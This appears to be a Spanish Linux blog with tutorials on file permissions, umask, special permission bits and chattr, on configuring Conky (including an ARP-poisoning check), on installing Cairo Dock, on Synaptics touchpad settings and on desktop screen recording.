Los permisos de un fichero se dividen en tres trios de permisos, los primeros tres corresponden al propietario del usuario, los siguientes tres al grupo al que pertenece y los otros tres a otros.

Un ejemplo en el que el fichero .profile pertenece al usuario root y al grupo root, el propietario tiene permisos de lectura y escritura, el grupo de lectura y los otros de lectura.
-rw-r--r-- 1 root root 140 nov 19 2007 .profile

Para asignar permisos a los ficheros lo mas fácil es aprenderse la correspondencia:
R: 4 --> Lectura
W: 2 --> Escritura
X: 1 --> Ejecución

Por lo tanto si queremos asignar permisos de RW para el propietario, WX para el grupo y R para otros se haría del siguiente modo: chmod 634 "fichero".

Para poder hacer un cd se necesitan permisos de ejecución en el direcotrio.
Para acceder a un subdirectorio que nos pertenece pero cuelga de otro, se necesitan permisos de ejecución en el direcotrio intermedio para poder pasar a través de él.

Si se otorgan permisos de lectura sin ejecución y se hace un ls -la del directorio:
usuario@debian:/$ ls -la aaa/
ls: no se puede acceder a aaa/.: Permiso denegado
ls: no se puede acceder a aaa/..: Permiso denegado
ls: no se puede acceder a aaa/ff.sh: Permiso denegado
total 0
d????????? ? ? ? ? ? .
d????????? ? ? ? ? ? ..
-????????? ? ? ? ? ? ff.sh

-----------------------------------------------------------

UMASK:
Se trata de los permisos por defecto que adoptarán los ficheros y directorios cuando se creen. Para definir el valor de umask hay que pensar "a la inversa: wildcard", con un ejemplo se verá claro: umask 007 equivaldría a chmod 770.

También hay que tener en cuenta que los ficheros se generarán con los permisos indicados en umask pero eliminando el permiso de ejecución. Si asigno un umask de 522 se crearían con los siguientes permisos:
- Directorios: 255
- Ficheros: 244

Otro aspecto a tener en cuenta es que el valor de umask va ligado al usuario, para poder definir un umask de forma global debemos editar el fichero: /etc/profile y si queremos hacerlo en un solo usuario: ~/.bashrc, hasta que el usuario no salga y vuelva logarse no se hará efectivo.

-----------------------------------------------------------

STICKY BIT:

Podremos saber si el sticky bit está activado mirando los permisos de ejecución. Para el propietario y el grupo se representa con una s y para otros con una t, si el bit de ejecución ya estaba habilitado aparecerá la s o la t en minúsculas, en caso contrario en mayúsculas.
- Ejemplo en el que NO está habilitado el permiso de ejecución y sí el Sticky bit: rSr-Sr-T.
- Ejemplo en el que SI está habilitado el permiso de ejecución y sí el Sticky bit: rwsr-sr-t.

Este bit se comportará de un modo u otro según esté definido en un directorio o un fichero.

Fichero:
4000 --> Si es ejcutable se ejecutará con los permisos del propoietario
2000 --> Si es ejecutable se ejecutará con los permisos del grupos
1000 --> Se empleaba para que el SO mantuviese el fichero en SWAP, actualmente es ignorado

Directorio:
4000 --> No se utiliza para nada
2000 --> Los ficheros o directorios generados pertenecerán al grupo al que pertenece el directorio actual.
1000 --> Los fichero o directorios solo pueden ser renombrados o borrados por el propietario del elemento, el propietario del directorio o el usuario root, aunque el resto de usuarios tenga permisos de escritura.
NOTA:Pero si que pueden ser editados si se tienen los permisos adecuados.

Para eliminar el sticky bit no basta con ejecutar 0799 por ejemplo, hay que hacerlo con:
- chmod -s
- chmod -t

-----------------------------------------------------------

CHATTR:

NOTA:
- Las opciones c, s y u no están implementadas de forma nativa en ext2 y ext3
- La opción j solo funciona sobre ext3
- La opción D requiere un kernel >= 2.5.19


+A --> No se actualiza la hora de acceso al fichero, pero sí la de modificación.
+a --> Solo se puede añadir al fichero, solo ROOT puede asignar este parámetro.
+c --> Comprime de forma transparente el fichero
+D --> Si se aplica a un directorio los cambios realizados en él son escritos al momento en el disco duro.
+d --> Este fichero será ignorado por el programa dump (Backups)
E --> Indica que hay un problema de compresión con el fichero, no se puede modificar, solo se puede ver con lsattr
e --> Indica que se emplean "extents" para saber las posiciones del disco que contienen la información del fichero, no se debe modificar.
I --> Indica que el directorio es indexado empleando hashed tree, no tocar
h --> Indica que el tamaño del fichero se entrega en bloques no en sectores, no tocar.
+i --> No puede ser borrado, renombrado o vinculado mediante un link.
+j --> La información del fichero es escrita primero al journal si la partición está montada con las opciones "data=ordered" or "data=writeback".
+s --> Cuando se borre este fichero se sobreescribe se escriben ceros ;)
+S --> La información se escribe al momento en el disco.
+T --> Si se deshabilita el algoritmo de distribución de datos en el disco (Orlov) intentará meter los datos lo mas juntos posible entre ellos.
+t --> Deshabilita el "tail-merging" (aprovechar huecos de otros ficheros para meter información de este fichero) del fichero, opción necasaria para LILO (acceso directo el disco).
+u --> Permite el "undelete" del fichero
X --> Indica que el contenido de un fichero comprimido puede ser accedido en "raw", no se puede cambiar
Z --> Indica que el contenido de un fichero comprimido está "dirty", no se puede cambiar

Podemos ver los atributos de un fichero con el el comando lsattr.

Para comprobar opciones como +A se puede emplear la herramienta stat.
stat "fichero": Muestra información sobre el acceso a los ficheros.

Espero que le saqueis jugo al artículo ya que en mi opinión está muy completito ;)

jueves, marzo 03, 2011

Conky a fondo

Hola amigos, en esta ocasión vamos a instalar y configurar una de las herramientas de monitorización mas versátiles en Linux, estoy hablando de Conky. Ya escribí con anterioridad un artículo sobre este software pero esta vez vamos a destriparlo al completo ;)

Lo primero será descargar el software desde la página del proyecto en SourceForge.

Descargamos las fuentes:
cd /usr/src
wget http://sourceforge.net/projects/conky/files/conky/1.8.1/conky-1.8.1.tar.gz

Una vez descargado lo descomprimimos de la forma habitual:
tar xvzf conky-1.8.1.tar.gz

Lo instalamos:
cd conky-1.8.1
./configure --enable-weather-metar --enable-lua --enable-wlan
make
make install

Ahora ya tendríamos Conky listo para funcionar, pero si queremos monitorizar aspectos meteorológicos desde el tendremos que instalarle un paquete adicional llamado conkyForecast.
dpkg -i conkyforecast_2.09_all.deb

Para poder realizar consultas debemos abrirnos una cuenta en:
http://www.weather.com/services/xmloap.html

Los ficheros de configuración de Forecast además de necesitar los datos de acceso también necesita el código de la zona geográfica, para Madrid por ejemplo se obtendría visitando esta página.

Editamos el fichero de configuración de ConkyForecast:
vi /usr/share/conkyforecast/conkyForecast.config




Copiamos el fichero de configuración al directorio home del usuario:
cp /usr/share/conkyforecast/conkyForecast.config /home/"usuario"/.conkyForecast.config
chown "usuario"."usuario" /home/"usuario"/.conkyForecast.config

Para pedir información desde el fichero de configuración se hará del siguiente modo:
${offset 165}${voffset -45}${font Weather:size=14}${color Red}y ${color}${font}Temp: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=LT} / ${execi 3600 conkyForecast --location=SPXX0050 --datatype=HT}
${offset 165}${font ConkyWeather:size=11}${color Deep Sky Blue}8 ${color}${font}Humedad: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=HM}
${offset 165}${font ConkyWeather:size=11}${color Aquamarine}2 ${color}${font}Viento: ${alignr}${execi 3600 conkyForecast --location=SPXX0050 --datatype=WS}

Estos son solo algunos parámetros, para ver que mas se puede pedir ejecutamos:
conkyForecast --help

Como ya he dicho Conky es altamente configurable, tanto que permite añadir diferentes fuentes, para ello habrá que instalarlas primero. Una buena página de donde descargarlas es Dafont.

Cuando nos bajemos las fuentes las decomprimimos en un directorio y las movemos a /usr/share/fonts/truetype:
cp *.ttf /usr/share/fonts/truetype

Asignamos los permisos pertinentes:
chmod 755 /usr/share/fonts/truetype/*

Regeneramos el índice de fuentes:
su "usuario"
fc-cache -f -v

Para ver las fuentes disponibles:
fc-list
exit

Cabe destacar que si indicamos en el fichero de configuración una fuente que no se encuentra instalada nos aparecerá la letra pero no el dibujo.

Otra opción interesante de Conky es colorear el texto, un ejemplo puede ser:
${font StyleBats:size=16}i${font}${color Tan1} Kernel: ${color}${alignr}${kernel}

Existe una tabla con los colores disponibles en la Wikipedia.

Creamos el directorio donde guardaremos todos los ficheros relacionados con conky:
mkdir /home/"usuario"/.conky

Conky nos permite pintar diferentes textos o gráficos en base a ciertas condiciones, es tan sencillo como esto:
MAC_AP: $alignr${execi 30 /home/"usuario"/.conky/MAC.sh}${if_existing /tmp/MAC_OK}${color Green}${font sans-serif:normal:size=8}${execi 60 GW=$(/sbin/route -n|grep UG|awk -F " " '{print$2}') && /usr/sbin/arp -a|grep $GW|awk -F " " '{print$4}'}${font}${color}${else}${color Red}${font sans-serif:normal:size=8}${execi 60 GW=$(/sbin/route -n|grep UG|awk -F " " '{print$2}') && /usr/sbin/arp -a|grep $GW|awk -F " " '{print$4}'}${font}${color}${endif}

Primero ejecuta el script /home/"usuario"/.conky/MAC.sh, este generará el fichero /tmp/MAC_OK en caso de que la MAC del AP coincida con una conocida, en caso contrario no lo generará.
Si existe el fichero /tmp/MAC_OK nos pintará de color verde la salida del comando /usr/sbin/arp -a|grep wlan0|awk -F " " '{print$4}' en caso contrario lo hará en rojo.

De este modo podemos monitorizar si nos han envenenado la tabla ARP para el AP ;)

En el script MAC.sh hay que modificar el parámetro MAC por la MAC de vuestro AP.

Si os fijais en la configuración de mi Conky podreis ver que hay otras comparaciones sobre uso de RAM o disco duro de modo que si se supera el 90% el icono será pintado en rojo.

Aquí podeis encontrar mi configuración con resolución de portatil.
Aquí la del monitor.

Para ejecutarla sería tan sencillo como conky -c conky-config
También me he currado un pequeño script que se puede añadir al arranque de gnome para que compruebe la resolución de las X y cargue una configuración u otra.

Creo que con esto queda casi todo explicado sobre Conky, solo quedaría el tema de los scripts en LUA pero esa es otra historia.......

domingo, noviembre 28, 2010

Cairo Dock sin Compiz

Cairo Dock es un magnífico dock que nos permite lanzar aplicaciones de forma rápida y con animaciones realmente bonitas, en este tutorial voy a explicar los pasos necesarios para instalarlo en Debian Lenny(estable) sin necesidad de Compiz(de este modo ahorraremos preciados recursos).
Cairo necesita un "Composite manager" para poder generar las transparencias y demás efectos, para no tener que instalar Compiz habilitaremos el "Composite manager" de Metacity.

Añadimos el siguiente repositorio:

vi /etc/apt/source.list
deb http://repository.glx-dock.org/debian stable cairo-dock

Añadimos la llave pública del repositorio recien instalado:
wget -q http://repository.glx-dock.org/cairo-dock.gpg -O- | sudo apt-key add -

Actualizamos la base de datos de software:
apt-get update

Instalamos Cairo Dock:
apt-get install cairo-dock cairo-dock-plug-ins

Habilitamos el "Composite manager":
Ejecutamos: gconf-editor
Navegamos hasta Apps->metacity->general
Marcamos la casilla compositing_manager

Para que Cairo Dock sea lanzado en cada inicio de sesión debemos añadirlo ejecutando: gnome-session-properties

Seguramente ya aparezca una entrada llamada GLX-Dock, en caso contrario añadimos una con el comando: cairo-dock -o

Ahora cerramos la sesión y la volvemos a iniciar sesión.
Ya tenemos nuestro Cairo Dock completamente funcional.

domingo, octubre 24, 2010

Configuración SynPS/2 Synaptics TouchPad

En este manual voy a explicar como realizar la configuración avanzada de SynPS/2 Synaptics TouchPad, este touchpad tiene la capacidad de detectar movimiento horizontal, vertical y circular, este último resulta muy útil en las páginas web muy grandes.

Primero comprobamos que tenemos este touchpad en el equipo:
cat /proc/bus/input/devices

Ahora debemos editar el fichero de configuración del servidor gráfico:
vim /etc/X11/xorg.conf

Section "ServerLayout"
Identifier "Layout0"
Screen 0 "Screen0"
InputDevice "Keyboard0" "CoreKeyboard"
InputDevice "Synaptics Touchpad" "AlwaysCore"
EndSection

Section "Files"
EndSection

Section "Module"
Load "dbe"
Load "extmod"
Load "type1"
Load "freetype"
Load "glx"
Load "synaptics"
EndSection

Section "InputDevice"
Identifier "Synaptics Touchpad"
Driver "synaptics"
Option "AlwaysCore" "true" # send events to CorePointer
#Option "Device" "/dev/input/mice"
Option "Device" "/dev/psaux"
Option "Protocol" "auto-dev"
Option "SHMConfig" "true" # configurable at runtime? security risk
Option "LeftEdge" "1400" # x coord left
Option "RightEdge" "5000" # x coord right
Option "TopEdge" "1300" # y coord top
Option "BottomEdge" "4300" # y coord bottom
Option "FingerLow" "25" # pressure below this level triggers release
Option "FingerHigh" "30" # pressure above this level triggers touch
Option "MaxTapTime" "180" # max time in ms for detecting tap
Option "VertEdgeScroll" "true" # enable vertical scroll zone
Option "HorizEdgeScroll" "true" # enable horizontal scroll zone
Option "CornerCoasting" "true" # enable continuous scroll with finger in corner
Option "CoastingSpeed" "0.30" # corner coasting speed
Option "VertScrollDelta" "45" # edge-to-edge scroll distance of the vertical scroll
Option "HorizScrollDelta" "45" # edge-to-edge scroll distance of the horizontal scroll
Option "MinSpeed" "0.10" # speed factor for low pointer movement
Option "MaxSpeed" "0.60" # maximum speed factor for fast pointer movement
Option "AccelFactor" "0.0020" # acceleration factor for normal pointer movements
Option "VertTwoFingerScroll" "true" # vertical scroll anywhere with two fingers
Option "HorizTwoFingerScroll" "true" # horizontal scroll anywhere with two fingers
Option "TapButton1" "1"
Option "TapButton2" "2"
Option "TapButton3" "3"
Option "EdgeMotionUseAlways" "1"
Option "EmulateMidButtonTime" "75"
EndSection

El valor actual de estas opciones se puede consultar con el comando:
synclient -l

Como se puede observar se pueden tocar más parámetros pero yo no me he parado a investigar para que sirven.

Ahora instalamos un configurador para ciertos parámetros como el inicio del movimiento circular:
apt-get install gsynaptics

Con esto ya solo faltaría reiniciar las X y listo!!!
/etc/init.d/gdm restart

sábado, octubre 02, 2010

Grabación de las X

Seguro que alguna vez querías enseñarle a un amigo el procedimiento a seguir para hacer algo, pero por chat era una tediosa tarea y desearías poder grabar un video para que lo viese con sus propios ojos.

Si es así estas de suerte, sigue leyendo ;)

Instalamos las herramientas necesarias:

apt-get install gtk-recordmydesktop mencoder

Arrancamos gtk-recordmydesktop y lo configuramos:

Guardar Como: "Nombre del fichero"
Seleccionamos la ventana que también puede ser una zona determinada del monitor.

Cuando hayamos terminado presionamos el botón de stop que aparecerá en la barra de Gnome.

Todo esto producirá un fichero con extensión ogv, se puede pasar a avi de forma muy sencilla:
mencoder grabacion.ogv -ovc xvid -oac mp3lame -xvidencopts pass=1 -o archivosalida.avi
rm grabacion.ogv

Con esto ya tendremos un fichero .avi totalmente convencional que podremos reproducir en cualquier lugar.